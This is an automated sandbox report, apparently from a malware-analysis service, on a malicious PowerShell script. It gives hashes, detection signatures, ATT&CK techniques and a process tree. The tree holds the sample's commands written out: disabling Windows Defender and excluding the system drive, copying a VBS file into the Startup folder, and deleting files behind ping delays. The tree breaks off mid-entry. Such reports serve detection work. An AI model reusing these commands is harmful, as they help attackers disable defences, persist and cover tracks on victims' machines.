31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1
Size 6KB
Sample260522-wlr55aew41
SHA256 31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432
MD5 261a8771739ba9d0eb52de6dbce242b9
SHA1 594c30434fe3b4867da3077fe41bf1844a6496fe
SHA512 910e5a97ae3139bf98122a62b2019ef83fbd7d6c24172a0ce481aa8756ffb67db5a91f0c51ff2c35c36d27434e419f758d16f30a5637b68594f199fc3ac7e23e
SSDEEP 96:4yEBs5sZ58fOO9D+FwqODvhsZ5SHAI6n97OCR6GHcHADi/QzQadU8J0E+aQJ4BkA:4yeefmqqcH697L6sqSjqVJ4dzWU
TLSH
T106D135005BFA9608B6B36B05AABFA051897B7A6D9D36CB4D0049C14E17F2A44CC67F73
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1596	PowerShell.exe
12	1932	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5504	powershell.exe
1596	PowerShell.exe
1932	powershell.exe

.NET Reactor proctector 63 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/1932-33-0x00000163E4290000-0x00000163E42F6000-memory.dmp	net_reactor
behavioral2/memory/1932-111-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-125-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-135-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-133-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-131-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-129-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-127-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-123-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-121-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-119-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-117-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-115-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-113-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-109-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-107-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-105-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-103-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-101-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-139-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-143-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-155-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-153-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-151-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-147-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-145-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-141-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-150-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-137-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-99-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-97-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-95-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-93-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-91-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-89-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-87-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-85-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-83-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-79-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-77-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-76-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-71-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-69-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-68-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-65-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-63-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-61-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-59-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-57-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-55-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-53-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-51-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-49-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-45-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-43-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-41-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-40-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-37-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-35-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-81-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-73-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-47-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor
behavioral2/memory/1932-34-0x00000163E4290000-0x00000163E42EF000-memory.dmp	net_reactor

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3228	cmd.exe
3248	cmd.exe
2172	cmd.exe
5060	PING.EXE
1076	PING.EXE
3004	PING.EXE
1732	PING.EXE
4832	PING.EXE
1636	PING.EXE
3196	cmd.exe
3672	PING.EXE
560	cmd.exe
4144	PING.EXE
5716	PING.EXE
1628	PING.EXE
2132	cmd.exe
3148	PING.EXE
5876	cmd.exe
3320	cmd.exe
5240	PING.EXE
3904	PING.EXE
6092	cmd.exe
4804	PING.EXE
2400	PING.EXE
3660	PING.EXE
3048	cmd.exe
6136	PING.EXE
5156	cmd.exe
572	PING.EXE
5736	PING.EXE
6088	cmd.exe
1108	cmd.exe
5720	PING.EXE
6112	cmd.exe
808	PING.EXE
5004	cmd.exe
2868	cmd.exe
2512	cmd.exe
600	PING.EXE
5200	PING.EXE
4928	PING.EXE
5728	cmd.exe
2432	cmd.exe
5448	PING.EXE
1504	PING.EXE
428	PING.EXE
1260	cmd.exe
1028	PING.EXE
4912	PING.EXE
2540	PING.EXE
5068	PING.EXE
5620	PING.EXE
3064	PING.EXE
5896	cmd.exe
1864	cmd.exe
1744	cmd.exe
3612	PING.EXE
3980	PING.EXE
3144	PING.EXE
5588	PING.EXE
808	PING.EXE
1576	PING.EXE
6060	PING.EXE
6108	cmd.exe

Runs ping.exe 1 TTPs 58 IoCs

Remote System Discovery

T1018

pid	Process
572	PING.EXE
3144	PING.EXE
1636	PING.EXE
4892	PING.EXE
5716	PING.EXE
6124	PING.EXE
1564	PING.EXE
5620	PING.EXE
4832	PING.EXE
2276	PING.EXE
808	PING.EXE
3980	PING.EXE
3004	PING.EXE
3148	PING.EXE
1628	PING.EXE
5448	PING.EXE
1076	PING.EXE
1732	PING.EXE
808	PING.EXE
600	PING.EXE
4056	PING.EXE
3672	PING.EXE
2540	PING.EXE
5736	PING.EXE
5588	PING.EXE
5376	PING.EXE
428	PING.EXE
6060	PING.EXE
4912	PING.EXE
5720	PING.EXE
4804	PING.EXE
108	PING.EXE
5240	PING.EXE
3904	PING.EXE
3660	PING.EXE
6136	PING.EXE
4928	PING.EXE
2844	PING.EXE
5956	PING.EXE
2800	PING.EXE
660	PING.EXE
3064	PING.EXE
5656	PING.EXE
4916	PING.EXE
4144	PING.EXE
2500	PING.EXE
1028	PING.EXE
2356	PING.EXE
5068	PING.EXE
5060	PING.EXE
1576	PING.EXE
1504	PING.EXE
2400	PING.EXE
5428	PING.EXE
5200	PING.EXE
1628	PING.EXE
3612	PING.EXE
5972	PING.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1596	PowerShell.exe
1596	PowerShell.exe
1932	powershell.exe
1932	powershell.exe
1932	powershell.exe
5504	powershell.exe
5504	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	1596	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1596	PowerShell.exe
Token: SeSecurityPrivilege	1596	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1596	PowerShell.exe
Token: SeLoadDriverPrivilege	1596	PowerShell.exe
Token: SeSystemProfilePrivilege	1596	PowerShell.exe
Token: SeSystemtimePrivilege	1596	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1596	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1596	PowerShell.exe
Token: SeCreatePagefilePrivilege	1596	PowerShell.exe
Token: SeBackupPrivilege	1596	PowerShell.exe
Token: SeRestorePrivilege	1596	PowerShell.exe
Token: SeShutdownPrivilege	1596	PowerShell.exe
Token: SeDebugPrivilege	1596	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1596	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1596	PowerShell.exe
Token: SeUndockPrivilege	1596	PowerShell.exe
Token: SeManageVolumePrivilege	1596	PowerShell.exe
Token: 33	1596	PowerShell.exe
Token: 34	1596	PowerShell.exe
Token: 35	1596	PowerShell.exe
Token: 36	1596	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1596	PowerShell.exe
Token: SeSecurityPrivilege	1596	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1596	PowerShell.exe
Token: SeLoadDriverPrivilege	1596	PowerShell.exe
Token: SeSystemProfilePrivilege	1596	PowerShell.exe
Token: SeSystemtimePrivilege	1596	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1596	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1596	PowerShell.exe
Token: SeCreatePagefilePrivilege	1596	PowerShell.exe
Token: SeBackupPrivilege	1596	PowerShell.exe
Token: SeRestorePrivilege	1596	PowerShell.exe
Token: SeShutdownPrivilege	1596	PowerShell.exe
Token: SeDebugPrivilege	1596	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1596	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1596	PowerShell.exe
Token: SeUndockPrivilege	1596	PowerShell.exe
Token: SeManageVolumePrivilege	1596	PowerShell.exe
Token: 33	1596	PowerShell.exe
Token: 34	1596	PowerShell.exe
Token: 35	1596	PowerShell.exe
Token: 36	1596	PowerShell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 1932	1596	PowerShell.exe	85
PID 1932 wrote to memory of 5896	1932	powershell.exe	88
PID 1932 wrote to memory of 5916	1932	powershell.exe	89
PID 1932 wrote to memory of 5940	1932	powershell.exe	90
PID 1932 wrote to memory of 5968	1932	powershell.exe	91
PID 1932 wrote to memory of 5988	1932	powershell.exe	92
PID 1932 wrote to memory of 6028	1932	powershell.exe	93
PID 1932 wrote to memory of 6052	1932	powershell.exe	94
PID 1932 wrote to memory of 6072	1932	powershell.exe	95
PID 1932 wrote to memory of 6092	1932	powershell.exe	96
PID 1932 wrote to memory of 6112	1932	powershell.exe	97
PID 6072 wrote to memory of 2540	6072	cmd.exe	100
PID 6112 wrote to memory of 3004	6112	cmd.exe	101
PID 6052 wrote to memory of 1576	6052	cmd.exe	98
PID 6028 wrote to memory of 4916	6028	cmd.exe	99
PID 6092 wrote to memory of 4804	6092	cmd.exe	102
PID 5896 wrote to memory of 3144	5896	cmd.exe	103
PID 5940 wrote to memory of 572	5940	cmd.exe	104
PID 5988 wrote to memory of 1628	5988	cmd.exe	105
PID 5968 wrote to memory of 3148	5968	cmd.exe	106
PID 5916 wrote to memory of 1504	5916	cmd.exe	107
PID 1932 wrote to memory of 5504	1932	powershell.exe	109
PID 1932 wrote to memory of 5888	1932	powershell.exe	110
PID 1932 wrote to memory of 5900	1932	powershell.exe	111
PID 5888 wrote to memory of 5956	5888	cmd.exe	112
PID 5900 wrote to memory of 5972	5900	cmd.exe	113
PID 1932 wrote to memory of 1256	1932	powershell.exe	114
PID 1932 wrote to memory of 4520	1932	powershell.exe	115
PID 1932 wrote to memory of 3060	1932	powershell.exe	116
PID 3060 wrote to memory of 2400	3060	cmd.exe	117
PID 4520 wrote to memory of 1636	4520	cmd.exe	118
PID 1932 wrote to memory of 1048	1932	powershell.exe	119
PID 1932 wrote to memory of 5124	1932	powershell.exe	120
PID 1932 wrote to memory of 5164	1932	powershell.exe	121
PID 5124 wrote to memory of 5376	5124	cmd.exe	123
PID 5164 wrote to memory of 5428	5164	cmd.exe	122
PID 1932 wrote to memory of 4716	1932	powershell.exe	124
PID 1932 wrote to memory of 2448	1932	powershell.exe	125
PID 1932 wrote to memory of 1244	1932	powershell.exe	126
PID 2448 wrote to memory of 5068	2448	cmd.exe	127
PID 1244 wrote to memory of 428	1244	cmd.exe	128
PID 1932 wrote to memory of 5728	1932	powershell.exe	129
PID 1932 wrote to memory of 5932	1932	powershell.exe	130
PID 1932 wrote to memory of 5876	1932	powershell.exe	131
PID 5932 wrote to memory of 4892	5932	cmd.exe	132
PID 5876 wrote to memory of 108	5876	cmd.exe	133
PID 1932 wrote to memory of 3536	1932	powershell.exe	134
PID 1932 wrote to memory of 4908	1932	powershell.exe	135
PID 1932 wrote to memory of 2512	1932	powershell.exe	136
PID 2512 wrote to memory of 3672	2512	cmd.exe	138
PID 4908 wrote to memory of 808	4908	cmd.exe	137
PID 1932 wrote to memory of 1748	1932	powershell.exe	139
PID 1932 wrote to memory of 1864	1932	powershell.exe	140
PID 1932 wrote to memory of 560	1932	powershell.exe	141
PID 1864 wrote to memory of 3660	1864	cmd.exe	142
PID 560 wrote to memory of 4144	560	cmd.exe	143
PID 1932 wrote to memory of 436	1932	powershell.exe	147
PID 1932 wrote to memory of 3320	1932	powershell.exe	148
PID 1932 wrote to memory of 1260	1932	powershell.exe	149
PID 1260 wrote to memory of 600	1260	cmd.exe	150
PID 3320 wrote to memory of 2800	3320	cmd.exe	151
PID 1932 wrote to memory of 4008	1932	powershell.exe	152
PID 1932 wrote to memory of 3012	1932	powershell.exe	154
PID 1932 wrote to memory of 5228	1932	powershell.exe	155

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\qhtgp_01.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778729682.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5896
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3144
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5916
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1504
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6c51.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5940
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:572
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi6c6f.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5968
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3148
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6c51.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1628
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui6c6f.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6028
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4916
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6052
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1576
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mbddh.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2540
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pqvzs.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:6092
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4804
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\qhtgp_01.ps1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:6112
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5504
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5888
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5956
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5900
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:5972
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1256
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4520
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1636
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2400
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1048
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5124
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5376
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5164
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:5428
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5068
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1244
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:428
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5728
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5932
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5876
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:108
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3536
- - C:\Windows\SYSTEM32\cmd.exe
